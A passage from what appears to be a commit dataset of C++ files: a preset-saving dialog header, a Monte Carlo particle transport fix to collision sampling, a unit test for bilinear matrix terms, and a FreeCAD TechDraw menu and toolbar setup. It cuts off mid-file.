update_info_for_edit_ph_printer(const std::string &preset_name);\n    void layout();\n\nprotected:\n    void on_dpi_changed(const wxRect& suggested_rect) override;\n    void on_sys_color_changed() override {}\n\nprivate:\n    void build(std::vector<Preset::Type> types, std::string suffix = \"\");\n    void update_physical_printers(const std::string& preset_name);\n    void accept();\n};\n\n} \/\/ namespace GUI\n} \/\/ namespace Slic3r\n\n#endif\n<commit_msg>Added missing forward declaration for gcc<commit_after>#ifndef slic3r_SavePresetDialog_hpp_\n#define slic3r_SavePresetDialog_hpp_\n\n\/\/#include <wx\/gdicmn.h>\n\n#include \"libslic3r\/Preset.hpp\"\n#include \"wxExtensions.hpp\"\n#include \"GUI_Utils.hpp\"\n\nclass wxString;\nclass wxStaticText;\nclass wxComboBox;\nclass wxRadioBox;\nclass wxStaticBitmap;\n\nnamespace Slic3r {\n\nnamespace GUI {\n\nclass SavePresetDialog : public DPIDialog\n{\n    enum ActionType\n    {\n        ChangePreset,\n        AddPreset,\n        Switch, \n        UndefAction\n    };\n\n    struct Item\n    {\n        enum ValidationType\n        {\n            Valid,\n            NoValid,\n            Warning\n        };\n\n        Item(Preset::Type type, const std::string& suffix, wxBoxSizer* sizer, SavePresetDialog* parent);\n\n        void            update_valid_bmp();\n        void            accept();\n\n        bool            is_valid()      const { return m_valid_type != NoValid; }\n        Preset::Type    type()          const { return m_type; }\n        std::string     preset_name()   const { return m_preset_name; }\n\n    private:\n        Preset::Type    m_type;\n        ValidationType  m_valid_type;\n        std::string\t\tm_preset_name;\n\n        SavePresetDialog*   m_parent        {nullptr};\n        wxStaticBitmap*     m_valid_bmp     {nullptr};\n        wxComboBox*         m_combo         {nullptr};\n        wxStaticText*       m_valid_label   {nullptr};\n\n        PresetCollection*   m_presets       {nullptr};\n\n        void update();\n    };\n\n    std::vector<Item*>   m_items;\n\n    wxBoxSizer*         m_presets_sizer     {nullptr};\n    wxStaticText*       m_label             {nullptr};\n    wxRadioBox*         m_action_radio_box  {nullptr};\n    wxBoxSizer*         m_radio_sizer       {nullptr};  \n    ActionType          m_action            {UndefAction};\n\n    std::string         m_ph_printer_name;\n    std::string         m_old_preset_name;\n\npublic:\n\n    SavePresetDialog(Preset::Type type, std::string suffix = \"\");\n    SavePresetDialog(std::vector<Preset::Type> types, std::string suffix = \"\");\n    ~SavePresetDialog();\n\n    void AddItem(Preset::Type type, const std::string& suffix);\n\n    std::string get_name();\n    std::string get_name(Preset::Type type);\n\n    bool enable_ok_btn() const;\n    void add_info_for_edit_ph_printer(wxBoxSizer *sizer);\n    void update_info_for_edit_ph_printer(const std::string &preset_name);\n    void layout();\n\nprotected:\n    void on_dpi_changed(const wxRect& suggested_rect) override;\n    void on_sys_color_changed() override {}\n\nprivate:\n    void build(std::vector<Preset::Type> types, std::string suffix = \"\");\n    void update_physical_printers(const std::string& preset_name);\n    void accept();\n};\n\n} \/\/ namespace GUI\n} \/\/ namespace Slic3r\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   Copyright 2016 Mitchell Young\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#include \"particle_pusher.hpp\"\n\n#include <cmath>\n#include <iostream>\n\n#include \"particle.hpp\"\n\nusing std::cout;\nusing std::endl;\nusing std::cin;\n\nnamespace mocc {\nParticlePusher::ParticlePusher(const CoreMesh &mesh, const XSMesh &xs_mesh)\n    : mesh_(mesh),\n      xs_mesh_(xs_mesh),\n      n_group_(xs_mesh.n_group()),\n      do_implicit_capture_(true) {\n    \/\/ Build the map from mesh regions into the XS mesh\n    xsmesh_regions_.reserve(mesh.n_reg());\n\n    int ixs = 0;\n    for (const auto &xsreg : xs_mesh_) {\n        for (const auto &ireg : xsreg.reg()) {\n            xsmesh_regions_[ireg] = ixs;\n        }\n        ixs++;\n    }\n    return;\n}\n\nvoid ParticlePusher::collide(Particle &p, int ixsreg) {\n    \/\/ Sample the type of interaction;\n\/\/cout << \"collision!\" << endl;\n    const auto &xsreg = xs_mesh_[ixsreg];\n    real_t r = RNG_MC.random();\n\n    real_t xs_scat_out = xsreg.xsmacsc().out(p.group);\n    real_t xs_cum = xs_scat_out;\n    if (r < xs_cum) {\n\/\/cout << \"scatter\" << endl;\n        \/\/ scatter. only isotropic for now\n        \/\/ sample new energy\n        VecF cdf = xsreg.xsmacsc().out_cdf(p.group);\n        p.group = RNG_MC.sample_cdf(xsreg.xsmacsc().out_cdf(p.group));\n\n        \/\/ sample new angle\n        p.direction = Direction(RNG_MC.random(TWOPI), RNG_MC.random(-HPI, HPI));\n\/\/cout << \"new group | direction: \" << p.group << \" | \" << p.direction << endl;\n\n\/\/cin.ignore();\n        return;\n    }\n\n    xs_cum += xsreg.xsmacf(p.group);\n    if (r < xs_cum) {\n\/\/cout << \"fission\" << endl;\n        \/\/ fission\n        \/\/ sample number of new particles to generate\n        real_t nu = xsreg.xsmacnf(p.group) \/ xsreg.xsmacf(p.group);\n        int n_fis =\n            (RNG_MC.random() < (nu - (int)nu)) ? std::ceil(nu) : std::floor(nu);\n\n        \/\/ Make new particles and push them onto the fission bank\n        for (int i = 0; i < n_fis; i++) {\n            int ig = RNG_MC.sample_cdf(xsreg.chi_cdf());\n            Particle new_p(\n                p.location_global,\n                Direction(RNG_MC.random(TWOPI), RNG_MC.random(-HPI, HPI)), ig);\n            fission_bank_.push_back(new_p);\n        }\n\/\/cin.ignore();\n        return;\n    }\n\/\/cout << \"capture\" << endl;\n\n\/\/cin.ignore();\n    \/\/ capture\n    \/\/if (!do_implicit_capture_) {\n        p.alive = false;\n    \/\/}\n\n    return;\n}\n\nvoid ParticlePusher::simulate(Particle p) {\n    \/\/ Figure out where the particle is\n    auto location_info =\n        mesh_.get_location_info(p.location_global, p.direction);\n    p.location = location_info.local_point;\n    int ireg = location_info.reg_offset +\n        location_info.pm->find_reg(p.location);\n\/\/cout << \"starting new\" << endl;\n    int ixsreg = xsmesh_regions_[ireg];\n\n    real_t z_min = mesh_.z(location_info.pos.z);\n    real_t z_max = mesh_.z(location_info.pos.z + 1);\n\n    p.alive = true;\n\n    while (p.alive) {\n\/\/cout << \"particle at:\" << endl<< p << endl;\n\/\/cout << \"in region: \" << ireg << endl << endl;\n\n        \/\/ Determine distance to nearest surface\n        auto d_to_surf =\n            location_info.pm->distance_to_surface(p.location, p.direction);\n        \/\/ Determine distance to plane boundaries. If it is less than the\n        \/\/ distance to surface, use it as the distance to surf and force a pin\n        \/\/ intersection\n        real_t d_to_plane =\n            (p.direction.oz > 0.0)\n                ? (z_max - p.location_global.z) \/ p.direction.oz\n                : (z_min - p.location_global.z) \/ p.direction.oz;\n        if (d_to_plane < d_to_surf.first) {\n            d_to_surf.first = d_to_plane;\n            d_to_surf.second =\n                (p.direction.oz > 0.0) ? Surface::TOP : Surface::BOTTOM;\n        }\n\n\/\/cout << \"distance to surface: \" << d_to_surf.first << \" \" << d_to_surf.second << endl;\n\n        \/\/ Sample distance to collision\n        real_t xstr = xs_mesh_[ixsreg].xsmactr(p.group);\n        real_t d_to_collision = -std::log(RNG_MC.random()) \/ xstr;\n\n\/\/cout << \"xst | distance to collision: \"  << xstr << \" \" << d_to_collision << endl;\n\n        if (d_to_collision < d_to_surf.first) {\n            \/\/ Particle collided within the current region. Move particle to\n            \/\/ collision site and handle interaction.\n            p.move(d_to_collision);\n            this->collide(p, ixsreg);\n        } else {\n            \/\/ Particle reached a surface before colliding. Move to the\n            \/\/ surface and re-sample distance to collision.\n            if (d_to_surf.second == Surface::INTERNAL) {\n                \/\/ Particle crossed an internal boundary in the pin.\n                \/\/ Update its location and region index\n                p.move(d_to_surf.first);\n                ireg = location_info.pm->find_reg(p.location, p.direction) +\n                    location_info.reg_offset;\n                ixsreg = xsmesh_regions_[ireg];\n\n            } else {\n\/\/cout << \"moving to new pin cell:\" << endl;\n                \/\/ Particle crossed a pin boundary. Move to neighboring pin,\n                \/\/ handle boundary condition, etc.\n                \/\/ Regardless of what happens, move the particle\n                p.move(d_to_surf.first);\n\n                \/\/ Check for domain boundary crossing\n                Surface bound_surf = mesh_.boundary_surface(p.location_global,\n                                                            p.direction);\n                if (bound_surf != Surface::INTERNAL) {\n                    \/\/ We are exiting a domain boundary. Handle the boundary\n                    \/\/ condition.\n\/\/cout << \"at domain boundary\"  << \" \"  << bound_surf << endl;\n                    auto bc = mesh_.boundary_condition(bound_surf);\n\/\/cout << \"boundary condition: \" << bc << endl;\n                    switch (bc) {\n                        case Boundary::REFLECT:\n                            p.direction.reflect(bound_surf);\n\/\/cout << \"new direction: \" << p.direction << endl;\n                            break;\n                        case Boundary::VACUUM:\n                            \/\/ Just kill the thing\n\/\/cout << \"particle leak\" << endl;\n\/\/cin.ignore();\n                            p.alive = false;\n                            break;\n                        default:\n                            throw EXCEPT(\"Unsupported boundary condition\");\n                    }\n                }\n                \/\/ Figure out where we are again\n                location_info =\n                    mesh_.get_location_info(p.location_global, p.direction);\n                z_min = mesh_.z(location_info.pos.z);\n                z_max = mesh_.z(location_info.pos.z) + 1;\n                p.location = location_info.local_point;\n                ireg = location_info.reg_offset +\n                    location_info.pm->find_reg(p.location);\n                ixsreg = xsmesh_regions_[ireg];\n\/\/cout  << \"particle now at: \" << endl << p << endl;\n            }\n        } \/\/ collision or new region?\n    } \/\/ particle alive\n\/\/cin.ignore();\n    return;\n}\n\n\/**\n * This method operates by generating a full-blown Particle for each fission\n * site in the \\ref FissionBank and calling \\c this->simulate() for that\n * particle.\n *\/\nvoid ParticlePusher::simulate(const FissionBank &bank) {\n    \/\/ Clear the internal FissionBank to store new fission sites for this\n    \/\/ cycle\n    fission_bank_.clear();\n\n    for (const auto &p : bank) {\n        this->simulate(p);\n    }\n    return;\n}\n\n}  \/\/ namespace mocc\n<commit_msg>Fix interaction sampling in ParticlePusher<commit_after>\/*\n   Copyright 2016 Mitchell Young\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#include \"particle_pusher.hpp\"\n\n#include <cmath>\n#include <iostream>\n\n#include \"particle.hpp\"\n\nusing std::cout;\nusing std::endl;\nusing std::cin;\n\nnamespace mocc {\nParticlePusher::ParticlePusher(const CoreMesh &mesh, const XSMesh &xs_mesh)\n    : mesh_(mesh),\n      xs_mesh_(xs_mesh),\n      n_group_(xs_mesh.n_group()),\n      do_implicit_capture_(true) {\n    \/\/ Build the map from mesh regions into the XS mesh\n    xsmesh_regions_.reserve(mesh.n_reg());\n\n    int ixs = 0;\n    for (const auto &xsreg : xs_mesh_) {\n        for (const auto &ireg : xsreg.reg()) {\n            xsmesh_regions_[ireg] = ixs;\n        }\n        ixs++;\n    }\n    return;\n}\n\nvoid ParticlePusher::collide(Particle &p, int ixsreg) {\n    \/\/ Sample the type of interaction;\n    const auto &xsreg = xs_mesh_[ixsreg];\n    Reaction reaction =\n        (Reaction)RNG_MC.sample_cdf(xsreg.reaction_cdf(p.group));\n\n    switch( reaction ) {\n    case Reaction::SCATTER:\n        {\n        \/\/ scatter. only isotropic for now\n        \/\/ sample new energy\n        VecF cdf = xsreg.xsmacsc().out_cdf(p.group);\n        p.group = RNG_MC.sample_cdf(xsreg.xsmacsc().out_cdf(p.group));\n\n        \/\/ sample new angle\n        p.direction = Direction(RNG_MC.random(TWOPI), RNG_MC.random(-HPI, HPI));\n        }\n        break;\n\n    case Reaction::FISSION:\n        \/\/ fission\n        \/\/ sample number of new particles to generate\n        {\n        real_t nu = xsreg.xsmacnf(p.group) \/ xsreg.xsmacf(p.group);\n        int n_fis =\n            (RNG_MC.random() < (nu - (int)nu)) ? std::ceil(nu) : std::floor(nu);\n\n        \/\/ Make new particles and push them onto the fission bank\n        for (int i = 0; i < n_fis; i++) {\n            int ig = RNG_MC.sample_cdf(xsreg.chi_cdf());\n            Particle new_p(\n                p.location_global,\n                Direction(RNG_MC.random(TWOPI), RNG_MC.random(-HPI, HPI)), ig);\n            fission_bank_.push_back(new_p);\n        }\n        }\n        p.alive = false;\n        break;\n    default:\n        \/\/ capture\n        p.alive = false;\n    }\n\n    return;\n}\n\nvoid ParticlePusher::simulate(Particle p) {\n    \/\/ Figure out where the particle is\n    auto location_info =\n        mesh_.get_location_info(p.location_global, p.direction);\n    p.location = location_info.local_point;\n    int ireg = location_info.reg_offset +\n        location_info.pm->find_reg(p.location);\n    int ixsreg = xsmesh_regions_[ireg];\n\n    real_t z_min = mesh_.z(location_info.pos.z);\n    real_t z_max = mesh_.z(location_info.pos.z + 1);\n\n    p.alive = true;\n\n    while (p.alive) {\n        \/\/ Determine distance to nearest surface\n        auto d_to_surf =\n            location_info.pm->distance_to_surface(p.location, p.direction);\n        \/\/ Determine distance to plane boundaries. If it is less than the\n        \/\/ distance to surface, use it as the distance to surf and force a pin\n        \/\/ intersection\n        real_t d_to_plane =\n            (p.direction.oz > 0.0)\n                ? (z_max - p.location_global.z) \/ p.direction.oz\n                : (z_min - p.location_global.z) \/ p.direction.oz;\n        if (d_to_plane < d_to_surf.first) {\n            d_to_surf.first = d_to_plane;\n            d_to_surf.second =\n                (p.direction.oz > 0.0) ? Surface::TOP : Surface::BOTTOM;\n        }\n\n        \/\/ Sample distance to collision\n        real_t xstr = xs_mesh_[ixsreg].xsmactr(p.group);\n        real_t d_to_collision = -std::log(RNG_MC.random()) \/ xstr;\n\n        if (d_to_collision < d_to_surf.first) {\n            \/\/ Particle collided within the current region. Move particle to\n            \/\/ collision site and handle interaction.\n            p.move(d_to_collision);\n            this->collide(p, ixsreg);\n        } else {\n            \/\/ Particle reached a surface before colliding. Move to the\n            \/\/ surface and re-sample distance to collision.\n            if (d_to_surf.second == Surface::INTERNAL) {\n                \/\/ Particle crossed an internal boundary in the pin.\n                \/\/ Update its location and region index\n                p.move(d_to_surf.first);\n                ireg = location_info.pm->find_reg(p.location, p.direction) +\n                    location_info.reg_offset;\n                ixsreg = xsmesh_regions_[ireg];\n\n            } else {\n                \/\/ Particle crossed a pin boundary. Move to neighboring pin,\n                \/\/ handle boundary condition, etc.\n                \/\/ Regardless of what happens, move the particle\n                p.move(d_to_surf.first);\n\n                \/\/ Check for domain boundary crossing\n                Surface bound_surf = mesh_.boundary_surface(p.location_global,\n                                                            p.direction);\n                if (bound_surf != Surface::INTERNAL) {\n                    \/\/ We are exiting a domain boundary. Handle the boundary\n                    \/\/ condition.\n                    auto bc = mesh_.boundary_condition(bound_surf);\n                    switch (bc) {\n                        case Boundary::REFLECT:\n                            p.direction.reflect(bound_surf);\n                            break;\n                        case Boundary::VACUUM:\n                            \/\/ Just kill the thing\n                            p.alive = false;\n                            break;\n                        default:\n                            throw EXCEPT(\"Unsupported boundary condition\");\n                    }\n                }\n                \/\/ Figure out where we are again\n                location_info =\n                    mesh_.get_location_info(p.location_global, p.direction);\n                z_min = mesh_.z(location_info.pos.z);\n                z_max = mesh_.z(location_info.pos.z) + 1;\n                p.location = location_info.local_point;\n                ireg = location_info.reg_offset +\n                    location_info.pm->find_reg(p.location);\n                ixsreg = xsmesh_regions_[ireg];\n            }\n        } \/\/ collision or new region?\n    } \/\/ particle alive\n    return;\n}\n\n\/**\n * This method operates by generating a full-blown Particle for each fission\n * site in the \\ref FissionBank and calling \\c this->simulate() for that\n * particle.\n *\/\nvoid ParticlePusher::simulate(const FissionBank &bank) {\n    \/\/ Clear the internal FissionBank to store new fission sites for this\n    \/\/ cycle\n    fission_bank_.clear();\n\n    for (const auto &p : bank) {\n        this->simulate(p);\n    }\n    return;\n}\n\n}  \/\/ namespace mocc\n<|endoftext|>"}
{"text":"<commit_before>#include \"system\/terms\/term.h\"\n\n#include \"test_helpers\/gmock_wrapper.h\"\n\nnamespace  {\n\nusing namespace bart;\n\n\/* This testing suite is designed to test the linear and bilinear term classes\n * to ensure they are adding vectors and matrices properly when the\n * GetFullTerm method is called. For tests that verify that the setters and\n * getters work, see linear_term_test.cc. These tests will use a full dealii\n * test environment to provide the needed MPI matrices and vectors.\n *\/\n\nclass SystemTermsFullTermTest : public ::testing::Test {\n protected:\n};\n\nTEST_F(SystemTermsFullTermTest, FullTermOperation) {\n  EXPECT_TRUE(true);\n}\n\n} \/\/ namespace<commit_msg>added test for FullTerm for Bilinear<commit_after>#include \"system\/terms\/term.h\"\n\n#include \"test_helpers\/test_assertions.h\"\n#include \"test_helpers\/dealii_test_domain.h\"\n#include \"test_helpers\/gmock_wrapper.h\"\n\nnamespace  {\n\nusing namespace bart;\n\n\/* This testing suite is designed to test the linear and bilinear term classes\n * to ensure they are adding vectors and matrices properly when the\n * GetFullTerm method is called. For tests that verify that the setters and\n * getters work, see linear_term_test.cc. These tests will use a full dealii\n * test environment to provide the needed MPI matrices and vectors.\n *\/\n\nclass SystemTermsFullTermTest : public ::testing::Test,\n                                public bart::testing::DealiiTestDomain<2> {\n protected:\n  void SetUp() override;\n};\n\nvoid SystemTermsFullTermTest::SetUp() {\n  SetUpDealii();\n}\n\nTEST_F(SystemTermsFullTermTest, BilinearFullTermOperationMPI) {\n  auto other_source = system::terms::VariableBilinearTerms::kOther;\n  system::terms::MPIBilinearTerm test_bilinear_term({other_source});\n\n  std::shared_ptr<system::MPISparseMatrix> fixed_term_ptr, variable_term_ptr;\n  fixed_term_ptr.reset(&matrix_1);\n  variable_term_ptr.reset(&matrix_2);\n\n  StampMatrix(matrix_1, 2);\n  StampMatrix(matrix_2, 1);\n  StampMatrix(matrix_3, 3);\n\n  test_bilinear_term.SetFixedTermPtr({0, 0}, fixed_term_ptr);\n  test_bilinear_term.SetVariableTermPtr({0, 0}, other_source, variable_term_ptr);\n\n  auto term_matrix_ptr = test_bilinear_term.GetFullTermPtr({0,0});\n  EXPECT_TRUE(bart::testing::CompareMPIMatrices(matrix_3, *term_matrix_ptr));\n}\n\n} \/\/ namespace<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n *   Copyright (c) 2005 Werner Mayer <wmayer[at]users.sourceforge.net>     *\r\n *   Copyright (c) 2013 Luke Parry <l.parry@warwick.ac.uk>                 *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <qobject.h>\r\n#endif\r\n\r\n#include \"Workbench.h\"\r\n#include <Gui\/MenuManager.h>\r\n#include <Gui\/ToolBarManager.h>\r\n\r\nusing namespace TechDrawGui;\r\n\r\nTYPESYSTEM_SOURCE(TechDrawGui::Workbench, Gui::StdWorkbench)\r\n\r\nWorkbench::Workbench()\r\n{\r\n}\r\n\r\nWorkbench::~Workbench()\r\n{\r\n}\r\n\r\nGui::MenuItem* Workbench::setupMenuBar() const\r\n{\r\n    Gui::MenuItem* root = StdWorkbench::setupMenuBar();\r\n    Gui::MenuItem* item = root->findItem(\"&Windows\");\r\n    Gui::MenuItem* draw = new Gui::MenuItem;\r\n    root->insertItem(item, draw);\r\n\r\n    \/\/ dimensions\r\n    Gui::MenuItem* dimensions = new Gui::MenuItem;\r\n    dimensions->setCommand(\"Dimensions\");\r\n    *dimensions << \"TechDraw_LengthDimension\";\r\n    *dimensions << \"TechDraw_HorizontalDimension\";\r\n    *dimensions << \"TechDraw_VerticalDimension\";\r\n    *dimensions << \"TechDraw_RadiusDimension\";\r\n    *dimensions << \"TechDraw_DiameterDimension\";\r\n    *dimensions << \"TechDraw_AngleDimension\";\r\n    *dimensions << \"TechDraw_HorizontalExtentDimension\";\r\n    *dimensions << \"TechDraw_VerticalExtentDimension\";\r\n    *dimensions << \"TechDraw_LinkDimension\";\r\n    *dimensions << \"TechDraw_LandmarkDimension\";\r\n\r\n    \/\/ annotations\r\n    Gui::MenuItem* annotations = new Gui::MenuItem;\r\n    annotations->setCommand(\"Annotations\");\r\n    *annotations << \"TechDraw_Annotation\";\r\n    *annotations << \"TechDraw_RichTextAnnotation\";\r\n    *annotations << \"TechDraw_Balloon\";\r\n\r\n    \/\/ lines\r\n    Gui::MenuItem* lines = new Gui::MenuItem;\r\n    lines->setCommand(\"Add Lines\");\r\n    *lines << \"TechDraw_LeaderLine\";\r\n    *lines << \"TechDraw_FaceCenterLine\";\r\n    *lines << \"TechDraw_2LineCenterLine\";\r\n    *lines << \"TechDraw_2PointCenterLine\";\r\n    *lines << \"TechDraw_2PointCosmeticLine\";\r\n\r\n    \/\/ vertices\r\n    Gui::MenuItem* vertices = new Gui::MenuItem;\r\n    vertices->setCommand(\"Add Vertices\");\r\n    *vertices << \"TechDraw_CosmeticVertex\";\r\n    *vertices << \"TechDraw_Midpoints\";\r\n    *vertices << \"TechDraw_Quadrants\";\r\n\r\n    \/\/ main menu\r\n    draw->setCommand(\"TechDraw\");\r\n    *draw << \"TechDraw_PageDefault\";\r\n    *draw << \"TechDraw_PageTemplate\";\r\n    *draw << \"TechDraw_RedrawPage\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_View\";\r\n    *draw << \"TechDraw_ActiveView\";\r\n    *draw << \"TechDraw_ProjectionGroup\";\r\n    *draw << \"TechDraw_SectionView\";\r\n    *draw << \"TechDraw_DetailView\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_DraftView\";\r\n    *draw << \"TechDraw_ArchView\";\r\n    *draw << \"TechDraw_SpreadsheetView\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ClipGroup\";\r\n    *draw << \"TechDraw_ClipGroupAdd\";\r\n    *draw << \"TechDraw_ClipGroupRemove\";\r\n    *draw << \"Separator\";\r\n    *draw << dimensions;\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ExportPageSVG\";\r\n    *draw << \"TechDraw_ExportPageDXF\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_Hatch\";\r\n    *draw << \"TechDraw_GeometricHatch\";\r\n    *draw << \"TechDraw_Symbol\";\r\n    *draw << \"TechDraw_Image\";\r\n    *draw << \"TechDraw_ToggleFrame\";\r\n    *draw << \"Separator\";\r\n    *draw << annotations;\r\n    *draw << lines;\r\n    *draw << vertices;\r\n    *draw << \"TechDraw_CosmeticEraser\";\r\n    *draw << \"TechDraw_DecorateLine\";\r\n    *draw << \"TechDraw_ShowAll\";\r\n    *draw << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupToolBars() const\r\n{\r\n    Gui::ToolBarItem* root = StdWorkbench::setupToolBars();\r\n    Gui::ToolBarItem* pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_PageDefault\";\r\n    *pages << \"TechDraw_PageTemplate\";\r\n    *pages << \"TechDraw_RedrawPage\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"TechDraw Views\");\r\n    *views << \"TechDraw_View\";\r\n    *views << \"TechDraw_ActiveView\";\r\n    *views << \"TechDraw_ProjectionGroup\";\r\n    *views << \"TechDraw_SectionView\";\r\n    *views << \"TechDraw_DetailView\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_ArchView\";\r\n    *views << \"TechDraw_SpreadsheetView\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_ClipGroup\";\r\n    *clips << \"TechDraw_ClipGroupAdd\";\r\n    *clips << \"TechDraw_ClipGroupRemove\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_LengthDimension\";\r\n    *dims << \"TechDraw_HorizontalDimension\";\r\n    *dims << \"TechDraw_VerticalDimension\";\r\n    *dims << \"TechDraw_RadiusDimension\";\r\n    *dims << \"TechDraw_DiameterDimension\";\r\n    *dims << \"TechDraw_AngleDimension\";\r\n    *dims << \"TechDraw_3PtAngleDimension\";\r\n    *dims << \"TechDraw_ExtentGroup\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtentDimension\";\r\n\/\/    *dims << \"TechDraw_VerticalExtentDimension\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_Balloon\";\r\n    *dims << \"TechDraw_LandmarkDimension\";\r\n\/\/    *dims << \"TechDraw_Dimension\"\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPageSVG\";\r\n    *file << \"TechDraw_ExportPageDXF\";\r\n\r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_Hatch\";\r\n    *decor << \"TechDraw_GeometricHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichTextAnnotation\";\r\n    *anno << \"TechDraw_CosmeticVertexGroup\";\r\n    *anno << \"TechDraw_CenterLineGroup\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_2PointCosmeticLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupCommandBars() const\r\n{\r\n    Gui::ToolBarItem* root = new Gui::ToolBarItem;\r\n    Gui::ToolBarItem *pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_PageDefault\";\r\n    *pages << \"TechDraw_PageTemplate\";\r\n    *pages << \"TechDraw_RedrawPage\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"Views\");\r\n    *views << \"TechDraw_View\";\r\n    *views << \"TechDraw_ActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjectionGroup\";\r\n    *views << \"TechDraw_SectionView\";\r\n    *views << \"TechDraw_DetailView\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_SpreadsheetView\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_ClipGroup\";\r\n    *clips << \"TechDraw_ClipGroupAdd\";\r\n    *clips << \"TechDraw_ClipGroupRemove\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_LengthDimension\";\r\n    *dims << \"TechDraw_HorizontalDimension\";\r\n    *dims << \"TechDraw_VerticalDimension\";\r\n    *dims << \"TechDraw_RadiusDimension\";\r\n    *dims << \"TechDraw_DiameterDimension\";\r\n    *dims << \"TechDraw_AngleDimension\";\r\n    *dims << \"TechDraw_3PtAngleDimension\";\r\n    *dims << \"TechDraw_ExtentGroup\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtentDimension\";\r\n\/\/    *dims << \"TechDraw_VerticalExtentDimension\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_Balloon\";\r\n    *dims << \"TechDraw_LandmarkDimension\";\r\n\/\/    *dims << \"TechDraw_Dimension\";\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPageSVG\";\r\n    *file << \"TechDraw_ExportPageDXF\";\r\n \r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_Hatch\";\r\n    *decor << \"TechDraw_GeometricHatch\";\r\n    *decor << 